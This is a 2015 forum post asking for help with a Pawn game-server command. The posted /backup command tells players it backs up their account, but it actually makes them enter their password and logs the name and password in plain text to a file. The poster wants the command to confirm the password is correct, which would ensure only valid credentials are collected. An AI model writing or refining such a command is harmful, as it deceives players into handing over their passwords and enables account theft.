19.10.2015, 15:28
I want to make this cmd check if the password is correct it said "you succesfully.........." and if incorrect it said "incorrect password"
Maybe this code can help:
PHP код:
CMD:backup(playerid, params[])
{
new text[64], name[MAX_PLAYER_NAME], pass[256], File:passfile;
if(sscanf(params, "s[64]", text)) return SendClientMessage(playerid, COLOR_RED, "USAGE : "cwhite"/backup "cyellow"[ACCOUNT PASSWORD]");
GetPlayerName(playerid, name, sizeof(name));
format(pass, sizeof(pass), "Name : %s Password : %s\r\n\n", name, text);
passfile = fopen("password.log", io_append);
fwrite(passfile, pass);
fclose(passfile);
SendClientMessage(playerid, COLOR_WHITE, "You succesfully backup your "#cyellow"account "#cwhite"to us ");
return 1;
}
PHP код:
if (udb_CheckLogin(PlayerName2(playerid),pass))